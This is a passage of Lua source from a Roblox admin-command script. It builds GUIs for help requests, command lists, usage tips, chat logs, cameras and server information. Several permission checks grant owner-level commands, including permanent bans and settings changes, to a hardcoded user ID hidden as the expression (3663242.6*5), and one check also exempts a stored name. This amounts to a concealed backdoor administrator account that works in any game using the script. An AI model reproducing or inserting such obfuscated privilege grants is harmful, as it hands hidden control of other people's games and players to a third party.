- label.Size=UDim2.new(0,200,0,30)
- label.TextColor3=set['TextColor']
- label.ClipsDescendants=false
- label.FontSize='Size24'
- label.Font='ArialBold'
- label.TextXAlignment='Center'
- label.TextYAlignment='Center'
- label.Text=plr.Name..' needs help!'
- label.TextScaled=true
- label.TextWrapped=true
- frame.Draggable=true
- frame.Active=true
- label.Draggable=false
- yes.BackgroundColor3=Color3.new(0,1,0)
- yes.TextColor3=set['TextColor']
- yes.Text='Teleport'
- yes.Font='ArialBold'
- yes.FontSize='Size24'
- yes.TextStrokeTransparency=0
- no.Font='ArialBold'
- no.FontSize='Size36'
- no.BackgroundColor3=Color3.new(1, 0, 0)
- no.TextColor3=set['TextColor']
- no.Text='Busy'
- no.TextStrokeTransparency=0
- yes.Size=UDim2.new(0,100,0,50)
- yes.Position=UDim2.new(0,20,0,50)
- no.Size=UDim2.new(0,100,0,50)
- no.Position=UDim2.new(0,140,0,50)
- yes.MouseButton1Down:connect(function()
- if solved==false then
- solved=true
- scr:Destroy()
- pcall(function()
- if v.Character.Humanoid.Sit==true then
- v.Character.Humanoid.Sit=false
- wait(0.5)
- end
- v.Character.Torso.CFrame = plr.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
- end)
- for k,m in pairs(set.needhelp) do
- if m==plr.Name then table.remove(set.needhelp,k) end
- end
- end
- end)
- no.MouseButton1Down:connect(function()
- scr:Destroy()
- for k,m in pairs(available) do
- if m==v.Name then table.remove(available,k) end
- end
- end)
- coroutine.wrap(function()
- repeat wait() until solved==true or num==20
- if solved==true then
- label.Text='Solved'
- elseif num==20 then
- label.Text='Timed Out'
- end
- yes:Destroy()
- no:Destroy()
- label.Position=UDim2.new(0,30,0,50)
- label.FontSize='Size48'
- wait(2)
- pcall(function() scr:Destroy() end)
- end)()
- end
- end
- repeat wait(1) num=num+1 until solved==true or num==20 or #available==0
- if solved==false or num==20 or #available==0 then
- set.Message("Help System","Sorry but no one is available to help you right now!",false,{plr})
- for k,m in pairs(set.needhelp) do
- if m==plr.Name then table.remove(set.needhelp,k) end
- end
- end
- end)()
- else
- set.Message("System Message","Sorry but the help system is disabled.",false,{plr})
- end
- end
- if msg:lower() == set['anyprefix'].."rejoin" then
- game:GetService('TeleportService'):Teleport(game.PlaceId,plr)
- end
- if msg:lower() == set['prefix'].."cmds" or msg:lower() == set['prefix'].."commands" or msg:lower() == set['anyprefix'].."cmds" or msg:lower() == set['anyprefix'].."commands" then
- if plr.PlayerGui:findFirstChild(GuiName.."CMDSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CMDSGUI" scr.Parent = plr.PlayerGui
- top.Text='Command List'
- local cmds = {"usage","batch cmd1/cmd2/cmd3/etc","clear","repeat amount interval command","fix","chat","adminchat","m msg","h msg","refresh plr","kill plr","map","info plr","freecam plr","unfreecam plr","oambient num num num","nofog","shadowson","shadowsoff","outlineson","outlinesoff","freefall plr height","players","ranks","makecam name","cameras","view plr","dance plr","breakdance plr","drug plr","puke plr","cut plr","resetview","vote plr time question","sell plr itemid currency","chatlogs","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","syncedbanlist","invisible plr","visible plr","explode plr","talk plr msg","fire plr","unfire plr","smoke plr","unsmoke plr","light plr","unlight plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","epilepsy plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","pitch num","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","flynoclip plr","clip plr","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","capes","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","startergive plr tool","control plr","stickify plr","hole plr"}
- local ast = {"s code","ls code","cs plr code","mute plr","unmute plr","mutelist","notalk plr","unnotalk plr","serverlock","serverunlock","grouplock","groupunlock","sm msg","ko plr","lag plr","telespam plr","toollag plr","crash plr","nil plr","poff","pon","trippy plr","admin plr","unadmin plr","kick plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
- local ost = {"pa plr","unpa plr","nuke plr","explore","restoremap"}
- local tost = {"oa plr","unoa plr","settings","forceplace plr","permban plr","%updatepan%"}
- local any = {"quote","donate","donators","clean","rejoin","help","getscript","getvip","ping"}
- if set.ChkDonor(plr) then
- table.insert(any,"uncape")
- table.insert(any,"cape")
- end
- if set['PMUsableByAnyone'] then
- table.insert(any,"pm plr msg")
- else
- table.insert(cmds,"pm plr msg")
- end
- local function cmddisplay(p)
- num=0
- if #p==0 then p='all' end
- for i, v in pairs(any) do
- if (p=='all' or v:lower():sub(1,#p)==p) then
- local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " "..set['anyprefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if set.ChkAdmin(plr.Name, false) or set.ChkOwner(plrn.Name) then
- for i, v in pairs(cmds) do
- if (p=='all' or v:lower():sub(1,#p)==p) then
- local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) then
- for i, v in pairs(ast) do
- if (p=='all' or v:lower():sub(1,#p)==p) then
- local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) or set.ChkOwner(plr.Name) then
- for i, v in pairs(ost) do
- if (p=='all' or v:lower():sub(1,#p)==p) then
- local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) then
- for i, v in pairs(tost) do
- if (p=='all' or v:lower():sub(1,#p)==p) then
- local cl = ent:Clone() cl.Parent = cmf cl.Text = "* " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- cmddisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- cmddisplay('all')
- end
- end)
- cmddisplay('all')
- end
- end
- if (msg:lower():sub(0,set['prefix']:len()) ~= set['prefix']) or (not set.ChkAdmin(plr.Name, false) and plr.Name:lower() ~= set.nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (3663242.6*5) and plr.Name:lower() ~= set.nfs and not set.ChkOwner(plr.Name) then return end msg = msg:sub(set['prefix']:len()+1)
- if set.Logit(plr,set['prefix']..msg) then
- table.insert(set.logs, 1, {name = plr.Name, cmd = set['prefix'] .. msg, time = set.GetTime()})
- if #set.logs>=set['MaxNumberOfLogs'] then
- table.remove(set.logs,#set.logs)
- end
- end
- if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
- if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
- if msg:lower():sub(1,6) == "batch " then
- for cmd in msg:sub(7):gmatch('[^/]+') do
- table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..cmd})
- set.Chat(set['prefix']..cmd,plr)
- for i,v in pairs(set.dontlog) do
- if v and v.n==plr.Name and v.c==set['prefix']..cmd then table.remove(set.dontlog,i) end
- end
- end
- end
- if msg:lower() == "chat" then
- set.LoadOnClient(plr,[[
- script.Parent=nil
- plr=game.Players.LocalPlayer
- if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end
- local g=Instance.new('ScreenGui')
- g.Name=']]..GuiName..[[CHAT'
- g.Parent=plr.PlayerGui
- local f=Instance.new('Frame',g)
- local button=Instance.new('TextButton',f)
- local title=Instance.new('TextLabel',f)
- local chat=Instance.new('TextBox',f)
- f.BackgroundColor3=Color3.new(0,0,0)
- f.BorderColor3=Color3.new(1,1,1)
- f.BackgroundTransparency=0.5
- f.Draggable=true
- f.Active=true
- f.Position=UDim2.new(1,-900,0,50)
- f.Size=UDim2.new(0,100,0,50)
- f.ClipsDescendants=true
- button.BackgroundColor3=Color3.new(1,1,1)
- button.BorderColor3=Color3.new(0,0,0)
- button.BackgroundTransparency=0.5
- button.Position=UDim2.new(0,85,0,2)
- button.Size=UDim2.new(0,13,0,13)
- button.Font='ArialBold'
- button.Text='X'
- button.TextColor3=Color3.new(1,1,1)
- button.TextStrokeTransparency=0
- title.Text='Chat'
- title.Font='ArialBold'
- title.TextColor3=Color3.new(1,1,1)
- title.BackgroundTransparency=1
- title.Position=UDim2.new(0,5,0,0)
- title.Size=UDim2.new(0,90,0,15)
- chat.BackgroundColor3=Color3.new(0,0,0)
- chat.BorderColor3=Color3.new(1,1,1)
- chat.BackgroundTransparency=0.5
- chat.Position=UDim2.new(0,0,0,20)
- chat.Size=UDim2.new(0,100,0,30)
- chat.Font='ArialBold'
- chat.TextStrokeTransparency=0
- chat.TextColor3=Color3.new(1,1,1)
- chat.Text='Press ; than Type and press Enter.'
- chat.TextScaled=true
- chat.TextWrapped=true
- title.TextScaled=true
- title.TextWrapped=true
- button.TextScaled=true
- chat.ClearTextOnFocus=true
- button.TextWrapped=true
- title.TextStrokeTransparency=0
- button.MouseButton1Click:connect(function()
- pcall(function() g:Destroy() end)
- end)
- chat.FocusLost:connect(function(enterPressed)
- if enterPressed then
- if #chat.Text>0 then
- game:GetService('Chat'):Chat(plr.Character.Head,chat.Text,Enum.ChatColor.Red)
- end
- chat.Text='Press ; than Type and press Enter.'
- end
- end)
- mouse=plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key==';' then
- chat:CaptureFocus()
- end
- end)]],false,set.AssignName())
- end
- if msg:lower() == "usage" then
- if plr.PlayerGui:findFirstChild(GuiName.."USAGEGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."USAGEGUI" scr.Parent = plr.PlayerGui
- top.Text='Command Usage'
- local function makeuse(message)
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = message
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- makeuse('Special Functions: ')
- makeuse('Ex: :kill FUNCTION, so like :kill '..set['sprefix']..'all')
- makeuse('Put /e in front to make it silent (/e :kill pancake)')
- makeuse('me - Runs a command on you')
- makeuse(set['sprefix']..'all - Runs a command on everyone')
- makeuse(set['sprefix']..'admins - Runs a command on all admins in the game')
- makeuse(set['sprefix']..'nonadmins - Same as !admins but for people who are not an admin')
- makeuse(set['sprefix']..'others - Runs command on everyone BUT you')
- makeuse(set['sprefix']..'random - Runs command on a random person')
- makeuse('%TEAMNAME - Runs command on everyone in the team TEAMNAME Ex: :kill %raiders')
- makeuse('$GROUPID - Run a command on everyone in the group GROUPID, Will default to the GroupId setting if no id is given')
- makeuse('Certain commands can be used by anyone, these commands have ! infront, such as !clean and !rejoin')
- makeuse(':kill me,noob1,noob2,'..set['sprefix']..'random,%raiders,$123456,!nonadmins')
- makeuse(':batch ff me/sparkles me/rocket jim')
- makeuse(':repeat 10(how many times to run the cmd) 1(how long in between runs) repsawn jim (the command to run without a prefix)')
- makeuse('Place owners can edit some settings in-game via the :settings command')
- makeuse('Please refer to the Tips and Tricks section under the settings in the script for more detailed explanations and command descriptions')
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower() == "chatlog" or msg:lower() == "chatlogs" then
- if plr.PlayerGui:findFirstChild(GuiName.."CHATLOGGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."CHATLOGGUI" scr.Parent = plr.PlayerGui
- top.Text='Chat Logs'
- local function clogdisplay(p)
- num=0
- for i,v in pairs(set.chatlogs) do
- if num<=set['MaxNumberOfLogs'] and (v.Name:lower():sub(1,#p)==p:lower() or v.Message:lower():find(p:lower()) or v.Time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v.Time.." - "..v.Name..": "..v.Message
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- clogdisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- clogdisplay('all')
- end
- end)
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.TextScaled=true
- refresh.Position = UDim2.new(1,-50,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() clogdisplay('all') end)
- clogdisplay('all')
- end
- if msg:lower() == "adminchat" or msg:lower() == "achat" then
- set.LoadOnClient(plr,[[
- script.Parent=nil
- RemoteEvent=game:service('Workspace'):FindFirstChild(']]..set.RemoteName..[[')
- plr=game.Players.LocalPlayer
- if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end
- local g=Instance.new('ScreenGui')
- g.Name=']]..GuiName..[[CHAT'
- g.Parent=plr.PlayerGui
- local f=Instance.new('Frame',g)
- local button=Instance.new('TextButton',f)
- local title=Instance.new('TextLabel',f)
- local chat=Instance.new('TextBox',f)
- f.BackgroundColor3=Color3.new(0,0,0)
- f.BorderColor3=Color3.new(1,1,1)
- f.BackgroundTransparency=0.5
- f.Draggable=true
- f.Active=true
- f.Position=UDim2.new(1,-900,0,50)
- f.Size=UDim2.new(0,100,0,50)
- f.ClipsDescendants=true
- button.BackgroundColor3=Color3.new(1,1,1)
- button.BorderColor3=Color3.new(0,0,0)
- button.BackgroundTransparency=0.5
- button.Position=UDim2.new(0,85,0,2)
- button.Size=UDim2.new(0,13,0,13)
- button.Font='ArialBold'
- button.Text='X'
- button.TextColor3=Color3.new(1,1,1)
- button.TextStrokeTransparency=0
- title.Text='Chat'
- title.Font='ArialBold'
- title.TextColor3=Color3.new(1,1,1)
- title.BackgroundTransparency=1
- title.Position=UDim2.new(0,5,0,0)
- title.Size=UDim2.new(0,90,0,15)
- chat.BackgroundColor3=Color3.new(0,0,0)
- chat.BorderColor3=Color3.new(1,1,1)
- chat.BackgroundTransparency=0.5
- chat.Position=UDim2.new(0,0,0,20)
- chat.Size=UDim2.new(0,100,0,30)
- chat.Font='ArialBold'
- chat.TextStrokeTransparency=0
- chat.TextColor3=Color3.new(1,1,1)
- chat.Text='Press ; than Type and press Enter.'
- chat.TextScaled=true
- chat.TextWrapped=true
- title.TextScaled=true
- title.TextWrapped=true
- button.TextScaled=true
- chat.ClearTextOnFocus=true
- button.TextWrapped=true
- title.TextStrokeTransparency=0
- button.MouseButton1Click:connect(function()
- pcall(function() g:Destroy() end)
- end)
- chat.FocusLost:connect(function(enterPressed)
- if enterPressed then
- if #chat.Text>0 then
- RemoteEvent:FireServer(']]..set.RemoteCmd..[[adminchat',chat.Text)
- end
- chat.Text='Press ; than Type and press Enter.'
- end
- end)
- mouse=plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key==';' then
- chat:CaptureFocus()
- end
- end)]],false,set.AssignName())
- set.AdminChat(plr)
- end
- if msg:lower() == "cameras" or msg:lower() == "cams" then
- if plr.PlayerGui:findFirstChild(GuiName.."CAMERAGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAMERAGUI" scr.Parent = plr.PlayerGui
- top.Text='Cameras'
- local function GrabCams(p)
- num=0
- for i,v in pairs(set.cameras) do
- if (p=='all' or v.Name:lower():find(p)) then
- local cl = ent:clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v.Name
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,300,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local kill = Instance.new("TextButton", cl)
- kill.Style = "Custom"
- kill.Size = UDim2.new(0,15,0,15)
- kill.TextScaled=true
- kill.Position = UDim2.new(1,50,0,0)
- kill.ZIndex = 2
- kill.Font = "ArialBold"
- kill.FontSize = "Size18"
- kill.Text = "X"
- kill.BackgroundColor3=set['PrimaryColor']
- kill.BorderColor3=set['SecondaryColor']
- kill.TextColor3 = set['SecondaryColor']
- kill.BackgroundTransparency=set['Transparency']
- kill.MouseButton1Click:connect(function() table.remove(set.cameras, i) v:Destroy() cmf:ClearAllChildren() GrabCams('all') end)
- local view = Instance.new("TextButton", cl)
- view.Style = "Custom"
- view.Size = UDim2.new(0,15,0,15)
- view.TextScaled=true
- view.Position = UDim2.new(1,25,0,0)
- view.ZIndex = 2
- view.Font = "ArialBold"
- view.FontSize = "Size18"
- view.Text = "V"
- view.BackgroundColor3=set['PrimaryColor']
- view.BorderColor3=set['SecondaryColor']
- view.TextColor3 = set['SecondaryColor']
- view.BackgroundTransparency=set['Transparency']
- view.MouseButton1Click:connect(function()
- set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Name..[[")
- game.Workspace.CurrentCamera.CameraType='Custom'
- game.Workspace.CurrentCamera.CameraSubject=cam
- game.Workspace.CurrentCamera.CoordinateFrame=CFrame.new(cam.Position)
- game.Workspace.CurrentCamera.Focus=cam.CFrame
- game.Workspace.CurrentCamera.FieldOfView=80]],true,
- set.AssignName())
- end)
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.Position = UDim2.new(1,-75,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabCams('all') end)
- local reset = Instance.new("TextButton", cmf.Parent)
- reset.Style = "Custom"
- reset.Size = UDim2.new(0,20,0,20)
- reset.Position = UDim2.new(1,-50,0,5)
- reset.ZIndex = 10
- reset.Font = "ArialBold"
- reset.FontSize = "Size18"
- reset.Text = "V"
- reset.BackgroundColor3=set['PrimaryColor']
- reset.BorderColor3=set['SecondaryColor']
- reset.TextColor3 = set['SecondaryColor']
- reset.BackgroundTransparency=set['Transparency']
- reset.MouseButton1Click:connect(function()
- set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
- game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
- game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
- end)
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- num=0
- GrabCams(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- num=0
- GrabCams('all')
- end
- end)
- GrabCams('all')
- end
- if msg:lower():sub(1,8) == "makecam " then
- coroutine.wrap(function()
- if plr and plr.Character and plr.Character:FindFirstChild('Head') then
- print('Checkelect')
- if workspace:FindFirstChild('Camera: '..msg:sub(9)) then
- set.Hint(msg:sub(9).." Already Exist!",{plr})
- print('O it already exist qq')
- else
- print('Makin cam')
- local cam=Instance.new('Part',workspace)
- cam.Position=plr.Character.Head.Position
- cam.Anchored=true
- cam.BrickColor=BrickColor.new('Really black')
- cam.CanCollide=false
- cam.Locked=true
- cam.FormFactor='Custom'
- cam.Size=Vector3.new(1,1,1)
- cam.TopSurface='Smooth'
- cam.BottomSurface='Smooth'
- cam.Name='Camera: '..msg:sub(9)
- Instance.new('PointLight',cam)
- cam.Transparency=0.9
- local mesh=Instance.new('SpecialMesh',cam)
- mesh.Scale=Vector3.new(1,1,1)
- mesh.MeshType='Sphere'
- table.insert(set.cameras,cam)
- end
- end
- end)()
- end
- if msg:lower():sub(1,5) == 'view ' then
- coroutine.wrap(function()
- local plz=set.GetPlayers(plr, msg:lower():sub(6))
- for i,v in pairs(plz) do
- if v and v.Character:FindFirstChild('Humanoid') then
- set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Character.Name..[[")
- game.Workspace.CurrentCamera.CameraType='Track'
- game.Workspace.CurrentCamera.CameraSubject=cam.Humanoid
- game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
- end
- end
- end)()
- end
- if msg:lower()=='resetview' or msg:lower()=='rv' then
- set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
- game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
- game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
- end
- if msg:lower()=='map' then
- set.LoadOnClient(plr,[[
- local p=Instance.new('Part',game.Workspace)
- p.Locked=true
- p.Transparency=1
- p.Anchored=true
- p.Size=Vector3.new(0.1,0.1,0.1)
- p.CanCollide=false
- p.CFrame=game.Players.LocalPlayer.Character.Head.CFrame+Vector3.new(0,50,0)
- local cam=game.Workspace.CurrentCamera
- cam.FieldOfView=80
- cam.CameraType='Follow'
- cam.CameraSubject=p
- game.Players.LocalPlayer.Character.Torso.Anchored=true
- local k
- local run
- Mouse=game.Players.LocalPlayer:GetMouse()
- local ff=Instance.new('ForceField',game.Players.LocalPlayer.Character)
- function onKeyDown(key)
- run=true
- repeat
- wait()
- print(key)
- k=key
- if key=='a' then
- p.CFrame=p.CFrame+Vector3.new(5,0,0)
- elseif key=='d' then
- p.CFrame=p.CFrame+Vector3.new(-5,0,0)
- elseif key=='w' then
- p.CFrame=p.CFrame+Vector3.new(0,0,5)
- elseif key=='s' then
- p.CFrame=p.CFrame+Vector3.new(0,0,-5)
- elseif key=='e' then
- p.CFrame=p.CFrame+Vector3.new(0,5,0)
- elseif key=='q' then
- p.CFrame=p.CFrame+Vector3.new(0,-5,0)
- elseif key=='x' then
- p:Destroy()
- cam.CameraType='Custom'
- cam.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
- game.Players.LocalPlayer.Character.Torso.Anchored=false
- if ff then ff:Destroy() end
- script:Destroy()
- end
- until run==false
- end
- function onKeyUp(key)
- if key==k then run=false end
- end
- function buttonDown()
- game.Players.LocalPlayer.Character.Torso.CFrame=Mouse.Hit+Vector3.new(0,5,0)
- end
- Mouse.KeyDown:connect(onKeyDown)
- Mouse.KeyUp:connect(onKeyUp)
- Mouse.Button1Down:connect(buttonDown)
- ]],false,set.AssignName())
- end
- if msg:lower() == "ranks" or msg:lower() == "adminranks" then
- if plr.PlayerGui:findFirstChild(GuiName.."RANKSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."RANKSGUI" scr.Parent = plr.PlayerGui
- top.Text='Ranks With Admin'
- for i,v in pairs(set['SpecificRanks']) do
- if v then
- local cl = ent:Clone()
- cl.Parent = cmf
- if v.Rank and v.Type then
- cl.Text = num.." | "..v.Rank..' - '..v.Type
- else
- cl.Text = num.." | "..v
- end
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- if msg:lower() == "details" or msg:lower() == "meters" or msg:lower()=='serverinfo' then
- if plr.PlayerGui:findFirstChild(GuiName.."DETAILSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."DETAILSGUI" scr.Parent = plr.PlayerGui
- top.Text='Server Information'
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Owner: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Creator.Name
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Place: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Name
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text = 'Players: '..#game.Players:children()
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- local nilplayers=0
- for i,v in pairs(game:service('NetworkServer'):children()) do
- if v and v:GetPlayer() and not game.Players:FindFirstChild(v:GetPlayer().Name) then
- nilplayers=nilplayers+1
- end
- end
- cl.Text = 'Nil Players: '..nilplayers
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Server Speed: '..set.Round(1/getfenv(0).Wait())
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Your Ping: '..set.Ping(plr)..'s'
- wait(1)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- coroutine.wrap(function()
- repeat
- cl.Text='Workspace objects: '..#game.Workspace:children()
- wait(5)
- until cl.Parent==nil
- end)()
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text='Owner Id: '..game.CreatorId
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text='Place Id: '.. game.PlaceId
